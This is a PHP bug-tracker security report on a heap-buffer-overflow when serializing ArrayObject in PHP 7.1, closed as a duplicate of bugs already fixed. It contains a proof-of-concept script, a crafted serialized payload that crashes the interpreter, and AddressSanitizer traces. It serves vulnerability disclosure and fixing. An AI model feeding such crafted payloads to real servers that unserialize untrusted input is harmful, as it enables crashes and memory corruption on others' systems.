php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #74194 a heap-buffer-overflow when serializing ArrayObject
Submitted: 2017-03-02 07:55 UTC Modified: 2017-08-12 19:01 UTC
From: varsleak at gmail dot com Assigned: nikic (profile)
Status: Closed Package: *General Issues
PHP Version: 7.1Git-2017-03-02 (Git) OS: Test on Ubuntu 16.04 x64
Private report: No CVE-ID: None
 [2017-03-02 07:55 UTC] varsleak at gmail dot com
Description:
------------
the bug was found by honggfuzz.

Test script:
---------------
<?php
	if ($argc != 2) {
		print_r("" . $argv[0] . " path/to/data\n");
		return;
	}

	$poc = unserialize(file_get_contents($argv[1]));

	serialize($poc);
?>

the data:

O:8:"stdClass":31:0s:1:"0";a:0:{}s:1:"b";C:11:"ArrayObject":431:0x:i:0;a:1:{i:0;O:12:"DateInterval":15:0s:1:"y";i:-003000000;s:1:"m";i:0;s:1:"d";i:1000000000;s:1:"h";i:800000000;s:1:"i";i:1000000000;s:1:"s";i:-100000000;s:7:"weekday";i:0;s:16:"weekday_behavior";i:20;s:17:"first_last_day_of";i:900000000;s:6:"invert";i:1000000000;s:4:"days";i:1000000000;s:12:"special_type";i:1000000000;s:14:"special_amount";i:4000000;s:21:"have_weekday_relative";i:0;s:21:"have_special_relative";i:0;}};m:a:0:{}}s:2:"00";a:1:{i:0;r:6;}s:2:"01";a:1:{i:0;r:6;}s:2:"02";a:1:{i:0;r:6;}s:2:"03";a:1:{i:0;r:6;}s:2:"c0";a:1:{i:0;r:6;}s:2:"c5";a:1:{i:0;r:6;}s:2:"c6";a:1:{i:0;r:6;}s:2:"c7";a:1:{i:0;r:6;}s:2:"c8";a:1:{i:0;r:6;}s:2:"c9";a:1:{i:0;r:6;}s:3:"000";a:1:{i:0;r:6;}s:3:"c11";a:1:{i:0;r:6;}s:3:"c12";a:1:{i:0;r:6;}s:3:"c13";a:1:{i:0;r:6;}s:3:"004";a:1:{i:0;r:6;}s:3:"005";a:1:{i:0;r:6;}s:3:"006";a:1:{i:0;r:6;}s:3:"007";a:1:{i:0;r:6;}s:3:"008";a:1:{i:0;r:6;}s:3:"009";a:1:{i:0;r:6;}s:3:"c20";a:1:{i:0;r:6;}s:3:"c21";a:1:{i:0;r:6;}s:3:"c22";a:1:{i:0;r:6;}s:1:"d";a:1:{i:0;r:6;}s:1:"e";i:0;s:1:"f";a:23:{i:0;a:1:{i:0;r:6;}i:1;a:1:{i:0;r:6;}i:2;a:1:{i:0;r:6;}i:3;a:1:{i:0;r:6;}i:4;a:1:{i:0;r:6;}i:5;a:1:{i:0;r:6;}i:6;a:1:{i:0;r:6;}i:7;a:1:{i:0;r:6;}i:8;a:1:{i:0;r:6;}i:9;a:1:{i:0;r:6;}i:10;a:1:{i:0;r:6;}i:11;a:1:{i:0;r:6;}i:12;a:1:{i:0;r:6;}i:13;a:1:{i:0;r:6;}i:14;a:1:{i:0;r:6;}i:15;a:1:{i:0;r:6;}i:16;a:1:{i:0;r:6;}i:17;a:1:{i:0;r:6;}i:18;a:1:{i:0;r:6;}i:19;a:1:{i:0;R:5;}i:20;a:1:{i:0;r:6;}i:21;a:1:{i:0;r:6;}i:22;a:1:{i:0;r:6;}}s:1:"g";i:0;s:1:"h";i:0;s:1:"i";i:0;}

notice:
    copy the data to a file, and run `path/to/php-7.1.3 -f path/to/poc.php path/to/data

Expected result:
----------------
no crash!

Actual result:
--------------
this is USE_ZEND_ALLOC=1 ASAN crash:

➜  php-fuzzer USE_ZEND_ALLOC=1 ./php.71.3RC1 ./modify.crash.php SIGSEGV.PC.b15209.STACK.e0c7bda55.CODE.2.ADDR.0x1675380.INSTR.mov____%edx,\(%rax\).fuzz
ASAN:SIGSEGV
=================================================================
==586==ERROR: AddressSanitizer: SEGV on unknown address 0x000001675380 (pc 0x000000b15209 bp 0x7fff0b358540 sp 0x7fff0b358520 T0)
    #0 0xb15208 in spl_array_get_hash_table_ptr /home/varsleak/github/php-src/ext/spl/spl_array.c:103
    #1 0xb15291 in spl_array_get_hash_table /home/varsleak/github/php-src/ext/spl/spl_array.c:113
    #2 0xb1fa74 in zim_spl_Array_serialize /home/varsleak/github/php-src/ext/spl/spl_array.c:1686
    #3 0xe2ae83 in zend_call_function /home/varsleak/github/php-src/Zend/zend_execute_API.c:860
    #4 0xecd949 in zend_call_method /home/varsleak/github/php-src/Zend/zend_interfaces.c:99
    #5 0xecfae0 in zend_user_serialize /home/varsleak/github/php-src/Zend/zend_interfaces.c:413
    #6 0xc8e00c in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:870
    #7 0xc8ee7f in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:978
    #8 0xc8f0cb in php_var_serialize /home/varsleak/github/php-src/ext/standard/var.c:1000
    #9 0xc8f6b3 in zif_serialize /home/varsleak/github/php-src/ext/standard/var.c:1047
    #10 0xf50698 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/varsleak/github/php-src/Zend/zend_vm_execute.h:628
    #11 0xf4f417 in execute_ex /home/varsleak/github/php-src/Zend/zend_vm_execute.h:429
    #12 0xf4f692 in zend_execute /home/varsleak/github/php-src/Zend/zend_vm_execute.h:474
    #13 0xe68ac1 in zend_execute_scripts /home/varsleak/github/php-src/Zend/zend.c:1476
    #14 0xd224e1 in php_execute_script /home/varsleak/github/php-src/main/main.c:2537
    #15 0x10d63b2 in do_cli /home/varsleak/github/php-src/sapi/cli/php_cli.c:993
    #16 0x10d81cf in main /home/varsleak/github/php-src/sapi/cli/php_cli.c:1381
    #17 0x7fe8035fd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #18 0x425dc8 in _start (/home/varsleak/github/php-fuzzer/php.71.3RC1+0x425dc8)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/varsleak/github/php-src/ext/spl/spl_array.c:103 spl_array_get_hash_table_ptr
==586==ABORTING



this is USE_ZEND_ALLOC=0 ASAN crash:

➜  php-fuzzer USE_ZEND_ALLOC=0 ./php.71.3RC1 ./modify.crash.php SIGSEGV.PC.b15209.STACK.e0c7bda55.CODE.2.ADDR.0x1675380.INSTR.mov____%edx,\(%rax\).fuzz
=================================================================
==15072==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000022d70 at pc 0x000000b150f0 bp 0x7ffd0578a920 sp 0x7ffd0578a910
READ of size 8 at 0x603000022d70 thread T0
    #0 0xb150ef in spl_array_get_hash_table_ptr /home/varsleak/github/php-src/ext/spl/spl_array.c:99
    #1 0xb15291 in spl_array_get_hash_table /home/varsleak/github/php-src/ext/spl/spl_array.c:113
    #2 0xb1fa74 in zim_spl_Array_serialize /home/varsleak/github/php-src/ext/spl/spl_array.c:1686
    #3 0xe2ae83 in zend_call_function /home/varsleak/github/php-src/Zend/zend_execute_API.c:860
    #4 0xecd949 in zend_call_method /home/varsleak/github/php-src/Zend/zend_interfaces.c:99
    #5 0xecfae0 in zend_user_serialize /home/varsleak/github/php-src/Zend/zend_interfaces.c:413
    #6 0xc8e00c in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:870
    #7 0xc8ee7f in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:978
    #8 0xc8f0cb in php_var_serialize /home/varsleak/github/php-src/ext/standard/var.c:1000
    #9 0xc8f6b3 in zif_serialize /home/varsleak/github/php-src/ext/standard/var.c:1047
    #10 0xf50698 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/varsleak/github/php-src/Zend/zend_vm_execute.h:628
    #11 0xf4f417 in execute_ex /home/varsleak/github/php-src/Zend/zend_vm_execute.h:429
    #12 0xf4f692 in zend_execute /home/varsleak/github/php-src/Zend/zend_vm_execute.h:474
    #13 0xe68ac1 in zend_execute_scripts /home/varsleak/github/php-src/Zend/zend.c:1476
    #14 0xd224e1 in php_execute_script /home/varsleak/github/php-src/main/main.c:2537
    #15 0x10d63b2 in do_cli /home/varsleak/github/php-src/sapi/cli/php_cli.c:993
    #16 0x10d81cf in main /home/varsleak/github/php-src/sapi/cli/php_cli.c:1381
    #17 0x7f4e5d9ee82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #18 0x425dc8 in _start (/home/varsleak/github/php-fuzzer/php.71.3RC1+0x425dc8)

0x603000022d70 is located 8 bytes to the right of 24-byte region [0x603000022d50,0x603000022d68)
allocated by thread T0 here:
    #0 0x7f4e5ed99602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0xde13b0 in __zend_malloc /home/varsleak/github/php-src/Zend/zend_alloc.c:2820
    #2 0xddf756 in _emalloc /home/varsleak/github/php-src/Zend/zend_alloc.c:2413
    #3 0xcb524f in php_var_unserialize_internal ext/standard/var_unserializer.re:644
    #4 0xcb24b6 in process_nested_data ext/standard/var_unserializer.re:452
    #5 0xcb725b in php_var_unserialize_internal ext/standard/var_unserializer.re:822
    #6 0xcb24b6 in process_nested_data ext/standard/var_unserializer.re:452
    #7 0xcb725b in php_var_unserialize_internal ext/standard/var_unserializer.re:822
    #8 0xcb24b6 in process_nested_data ext/standard/var_unserializer.re:452
    #9 0xcb2e09 in object_common2 ext/standard/var_unserializer.re:556
    #10 0xcb6daf in php_var_unserialize_internal ext/standard/var_unserializer.re:989
    #11 0xcb31d9 in php_var_unserialize ext/standard/var_unserializer.re:584
    #12 0xc8ff9d in zif_unserialize /home/varsleak/github/php-src/ext/standard/var.c:1114
    #13 0xf50c6b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/varsleak/github/php-src/Zend/zend_vm_execute.h:675
    #14 0xf4f417 in execute_ex /home/varsleak/github/php-src/Zend/zend_vm_execute.h:429
    #15 0xf4f692 in zend_execute /home/varsleak/github/php-src/Zend/zend_vm_execute.h:474
    #16 0xe68ac1 in zend_execute_scripts /home/varsleak/github/php-src/Zend/zend.c:1476
    #17 0xd224e1 in php_execute_script /home/varsleak/github/php-src/main/main.c:2537
    #18 0x10d63b2 in do_cli /home/varsleak/github/php-src/sapi/cli/php_cli.c:993
    #19 0x10d81cf in main /home/varsleak/github/php-src/sapi/cli/php_cli.c:1381
    #20 0x7f4e5d9ee82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/varsleak/github/php-src/ext/spl/spl_array.c:99 spl_array_get_hash_table_ptr
Shadow bytes around the buggy address:
  0x0c067fffc550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc560: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc570: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc590: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fffc5a0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa[fa]fa
  0x0c067fffc5b0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fffc5c0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fffc5d0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fffc5e0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fffc5f0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==15072==ABORTING


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-07-02 20:36 UTC] stas@php.net
-Summary: a heap-buffer-overflow was found at spl_array_get_hash_table_ptr +Summary: a heap-buffer-overflow when serializing ArrayObject
 [2017-08-12 19:01 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 [2017-08-12 19:01 UTC] nikic@php.net
The relevant part here is the R:5 referencing back the array of the ArrayObject, so this is the same as bug #74844, which is fixed by bug #74669.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Nov 23 18:01:28 2024 UTC